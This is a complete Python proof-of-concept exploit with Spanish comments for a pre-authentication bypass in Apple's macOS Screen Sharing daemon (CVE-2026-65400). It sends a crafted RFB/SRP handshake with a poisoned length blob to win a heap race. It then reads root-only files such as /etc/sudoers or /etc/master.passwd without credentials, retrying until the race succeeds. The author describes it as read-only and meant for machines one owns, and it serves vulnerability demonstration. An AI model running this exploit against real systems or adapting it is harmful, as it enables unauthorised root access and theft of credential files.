#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
poc_screensharing.py  —  CVE-2026-65400 (Apple Screen Sharing pre-auth)
=======================================================================

Prueba de concepto MINIMA y de SOLO LECTURA. Salta la autenticacion de
`screensharingd` y lee un fichero que normalmente solo root puede leer, para
DEMOSTRAR el acceso. NO escribe nada en el objetivo: ni crontab, ni shell, ni
ficheros.

Solo biblioteca estandar. Corre en cualquier Python 3.

  Uso:
    python3 poc_screensharing.py <IP>
    python3 poc_screensharing.py <IP> /etc/sudoers
    python3 poc_screensharing.py <IP> /etc/master.passwd --retries 30

  Ejemplos (tu Mac):
    python3 poc_screensharing.py 192.168.0.8
    python3 poc_screensharing.py 127.0.0.1          # desde el propio Mac

Afecta a macOS < 26.6.1 / < 15.7.9 / < 14.8.9 con Screen Sharing activado.
Parche: actualizar. Usalo solo contra equipos que sean tuyos o tengas permiso.

Tecnica y wire format: bl4sty (navi_the_clown). Bug original: fG! (@osxreverser).

El bug es RACY (depende del heap): no cuela en cada intento, por eso se
reintenta. Y el daemon THROTTLEA si lo aporreas: si falla mucho, espera ~1 min
y reintenta. Si el equipo esta parcheado, nunca entra (y se dice).
"""
import argparse
import hashlib
import socket
import struct
import sys
import time

TRIGGER   = 0x00045FA6                                   # be32 con bit 18 puesto
BIG_LEN   = 24488                                        # tamano del blob
FILLER    = bytes([0x05, 0x00, 0x00, 0x80, 0x00, 0x80])  # PointerEvent de relleno


def recv_exact(sock, n):
    buf = b""
    while len(buf) < n:
        t = sock.recv(n - len(buf))
        if not t:
            raise ConnectionError("el servidor cerro a media respuesta")
        buf += t
    return buf


def build_read_blob(path):
    """Blob de 24488 B: pide una LECTURA (StartFileSend) y dispara el bug."""
    p = path.encode("utf-8")
    msg = bytearray(24 + len(p))
    msg[0] = 0x22; msg[1] = 0x02
    struct.pack_into(">I", msg, 2, len(p) + 18)
    struct.pack_into(">HH", msg, 6, 1, 1)                # ver=1, kind=1 (leer)
    struct.pack_into(">III", msg, 10, 2, 1, 4)
    struct.pack_into(">H", msg, 22, len(p))
    msg[24:] = p

    total = max(5 + len(msg) + 6, BIG_LEN)
    buf = bytearray(total)
    declared = total - 2
    if declared < 0x8000:
        declared |= 0x00040000
    struct.pack_into(">I", buf, 0, declared)            # longitud envenenada
    buf[5:5 + len(msg)] = msg                           # +4 = 0x00 ClientInit
    off = 5 + len(msg)
    while off + 6 <= total:
        buf[off:off + 6] = FILLER
        off += 6
    return bytes(buf)


def read_msg(sock):
    hdr = recv_exact(sock, 6)
    if hdr[0] != 0x22:
        raise ConnectionError("mensaje inesperado %#x" % hdr[0])
    L = struct.unpack(">I", hdr[2:6])[0]
    if L < 12 or L > (1 << 24):
        raise ConnectionError("frame de longitud rara (%d)" % L)
    body = recv_exact(sock, L)
    _, kind = struct.unpack(">HH", body[0:4])
    return kind, body[12:]


def intento(ip, port, user, path, timeout):
    """Un intento. Devuelve (datos|None, motivo)."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    try:
        s.connect((ip, port))
        ver = recv_exact(s, 12)
        if not ver.startswith(b"RFB "):
            return None, "no habla RFB (%r)" % ver[:12]
        s.sendall(b"RFB 003.889\n")
        n = recv_exact(s, 1)[0]
        if n == 0:
            elen = struct.unpack(">I", recv_exact(s, 4))[0]
            return None, "rechazo: %s" % recv_exact(s, elen).decode("utf-8", "replace")
        tipos = list(recv_exact(s, n))
        if 36 not in tipos:
            return None, "no ofrece SRP (36): tipos %s (no es el objetivo)" % tipos
        s.sendall(bytes([0x24]))                        # tipo 36, 1 byte
        # "SRP step-1" (solo un usuario enmarcado) + el blob, TODO junto:
        u = user.encode()
        nu = len(u)
        step1 = bytearray(nu + 15)
        struct.pack_into(">III", step1, 0, nu + 11, nu + 7, nu)
        step1[12:12 + nu] = u
        s.sendall(bytes(step1) + build_read_blob(path))
        # Si el bug cuela: challenge (restos) + SecurityResult=0 + ServerInit
        cl = struct.unpack(">I", recv_exact(s, 4))[0]
        recv_exact(s, cl)
        res = struct.unpack(">I", recv_exact(s, 4))[0]
        if res != 0:
            return None, "SecurityResult=%d (parcheado / no vulnerable)" % res
        w, h = struct.unpack(">HH", recv_exact(s, 4))
        recv_exact(s, 16)
        nl = struct.unpack(">I", recv_exact(s, 4))[0]
        nombre = recv_exact(s, nl).decode("utf-8", "replace")
        # Ya autenticados como root, sin contrasena. Recoger el fichero:
        datos = bytearray()
        t0 = time.time()
        while time.time() - t0 < timeout * 2:
            kind, payload = read_msg(s)
            if kind == 102:                            # DATA
                datos.extend(payload)
            elif kind == 104:                          # END
                break
        return bytes(datos), "%dx%d \"%s\"" % (w, h, nombre)
    except (ConnectionError, socket.timeout, OSError) as e:
        return None, "%s: %s" % (type(e).__name__, e)
    finally:
        s.close()


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-65400 PoC (solo lectura)")
    ap.add_argument("ip")
    ap.add_argument("path", nargs="?", default="/etc/sudoers",
                    help="fichero a leer (por defecto /etc/sudoers, root-only)")
    ap.add_argument("-p", "--port", type=int, default=5900)
    ap.add_argument("-u", "--user", default="root", help="usuario para el step-1")
    ap.add_argument("-r", "--retries", type=int, default=25,
                    help="el bug es racy: reintentos (por defecto 25)")
    ap.add_argument("-t", "--timeout", type=float, default=8.0)
    a = ap.parse_args()

    # Tolerante al orden: si la "ip" empieza por "/" es en realidad la ruta, y
    # se intercambian. Asi da igual poner antes la IP o el fichero.
    if a.ip.startswith("/") and not a.path.startswith("/"):
        a.ip, a.path = a.path, a.ip

    print("[*] objetivo %s:%d  fichero %s" % (a.ip, a.port, a.path))
    ultimo = ""
    for i in range(1, a.retries + 1):
        datos, motivo = intento(a.ip, a.port, a.user, a.path, a.timeout)
        if datos is not None:
            print("\r[+] DENTRO sin credenciales — %s%s" % (motivo, " " * 20))
            print("[+] leidos %d bytes de %s" % (len(datos), a.path))
            print("[+] sha256: %s" % hashlib.sha256(datos).hexdigest())
            print("-" * 60)
            sys.stdout.buffer.write(datos)
            if datos and datos[-1:] != b"\n":
                print()
            print("-" * 60)
            return 0
        # parcheado: no tiene sentido insistir
        if "SecurityResult=" in motivo or "no ofrece SRP" in motivo:
            print("\r[-] %s%s" % (motivo, " " * 20))
            return 1
        ultimo = motivo
        print("\r[*] intento %d/%d  %-40s" % (i, a.retries, motivo[:40]),
              end="", file=sys.stderr, flush=True)
        time.sleep(0.4)
    print("\r[-] no entro en %d intentos. Ultimo: %s" % (a.retries, ultimo))
    print("    (racy: prueba de nuevo; si el daemon throttlea, espera ~1 min)")
    return 1


if __name__ == "__main__":
    sys.exit(main())

